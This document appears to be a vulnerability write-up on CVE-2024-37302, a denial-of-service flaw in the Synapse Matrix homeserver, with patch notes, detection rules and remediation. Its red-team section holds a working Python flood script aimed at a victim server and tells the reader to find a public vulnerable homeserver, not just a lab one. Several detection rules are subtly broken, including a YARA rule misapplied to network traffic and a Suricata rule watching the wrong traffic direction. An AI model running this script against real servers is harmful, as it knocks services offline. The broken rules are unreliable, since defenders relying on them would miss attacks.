CVE-2024-37302

Executive Summary

CVE-2024-37302 is a high-severity (CVSS 7.5) denial-of-service vulnerability affecting Synapse, the open-source Matrix homeserver. An unauthenticated attacker can exploit this flaw to trigger a disk fill attack by inducing Synapse to download and cache large amounts of remote media. The default rate limiting is insufficient to prevent this, potentially leading to service unavailability. The vendor has released version 1.106 which introduces a "leaky bucket" rate limiter to mitigate the issue, though it does not fully resolve the underlying problem.

Supply Chain & Package Security

Synapse is a Python-based project distributed via PyPI. Organizations should verify the integrity of the package using checksums provided by the Matrix.org project and ensure they are pulling from the official PyPI repository (matrix-synapse). Dependency scanning for transitive vulnerabilities is recommended.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of service availability.

Threat Level: High. The vulnerability is easily exploitable by unauthenticated attackers and can lead to complete denial of service.

Deep Dive & Mechanics

The vulnerability resides in Synapse's media download and caching mechanism. When a user requests remote media (e.g., an image or file hosted on another Matrix server), Synapse downloads and caches it locally for performance. Prior to version 1.106, there was no effective rate limiting on these downloads. An attacker can craft a series of requests for large media files from remote servers, causing Synapse to consume disk space rapidly. This can fill the disk, leading to:

• Failure of new media uploads/downloads.
• Database write failures.
• Process crashes or unavailability.

The attack does not require authentication, making it particularly dangerous for public-facing homeservers.

Vulnerable vs. Patched Code

Vulnerable (pre-1.106): The media download handler lacked rate limiting. An attacker could send multiple concurrent requests for large files without restriction.

# Simplified vulnerable code
async def get_remote_media(server_name, media_id):
    # No rate limiting
    media = await download_media(server_name, media_id)
    await cache_media(media)
    return media

Patched (1.106+): The patch introduces a "leaky bucket" rate limiter that restricts the rate of remote media downloads per user (or per IP for unauthenticated users).

# Simplified patched code
from synapse.util.ratelimit import LeakyBucket

media_rate_limiter = LeakyBucket(rate=10, burst=20)  # Example values

async def get_remote_media(server_name, media_id, user):
    if not media_rate_limiter.can_proceed(user):
        raise RateLimitError()
    media = await download_media(server_name, media_id)
    await cache_media(media)
    return media

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a vulnerable Synapse instance (version < 1.106) in a lab environment.
2. Identify Target: Find a public Matrix homeserver running a vulnerable version.
3. Craft Attack: Use a script to send multiple requests for large remote media files.

import asyncio
import aiohttp

async def exploit(target, media_urls):
    async with aiohttp.ClientSession() as session:
        tasks = []
        for url in media_urls:
            tasks.append(session.get(f"{target}/_matrix/media/v3/download/{url}"))
        await asyncio.gather(*tasks)

# Example usage
media_urls = ["example.com/very_large_file.jpg"] * 1000
asyncio.run(exploit("https://victim-server", media_urls))

4. Monitor: Observe disk usage on the target server. The attack will fill the disk, causing service degradation.

Blue Team (Defense & Detection)

1. Monitor Disk Usage: Set alerts for rapid disk space consumption on the Synapse server.
2. Rate Limiting: Ensure Synapse is updated to 1.106+ and configure rate limits appropriately.
3. Network Monitoring: Detect unusual patterns of media download requests from single IPs.

Indicators of Compromise (IOCs)

• Network: High volume of HTTP GET requests to /_matrix/media/v3/download/ from a single IP or user agent.
• System: Rapid increase in disk usage in the Synapse media store directory (typically /var/lib/synapse/media_store/).
• Logs: Synapse logs showing repeated media download attempts with rate limiting errors (after patching).

Detection Engineering

YARA Rule

rule CVE_2024_37302_Media_Flood {
    meta:
        description = "Detects rapid media download requests indicative of CVE-2024-37302 exploitation"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-37302"
    strings:
        $media_path = "/_matrix/media/v3/download/"
        $rate_limit = "RateLimitError" // After patching
    condition:
        #media_path > 100 and filesize < 10KB // Many small requests
}

Sigma Rule

title: CVE-2024-37302 Synapse Media Download Flood
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects a high volume of media download requests to Synapse homeserver
author: Valters IT
logsource:
    category: webserver
    product: synapse
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/_matrix/media/v3/download/*'
    condition: selection | count() by src_ip > 100 in 60 seconds
falsepositives:
    - Legitimate high-traffic homeservers
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-37302 Synapse Media Download Flood Attempt";
    flow:to_server;
    http.method; content:"GET";
    http.uri; content:"/_matrix/media/v3/download/";
    threshold: type both, track by_src, count 100, seconds 60;
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Upgrade Synapse to version 1.106 or later.
2. Configuration: After upgrading, review and adjust the media_retention_days and rate limiting settings in homeserver.yaml.
3. Monitoring: Implement disk usage alerts and monitor for unusual media download patterns.
4. Network: Use a Web Application Firewall (WAF) to rate-limit requests to the media download endpoint.
5. Backup: Ensure regular backups of the media store and database.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert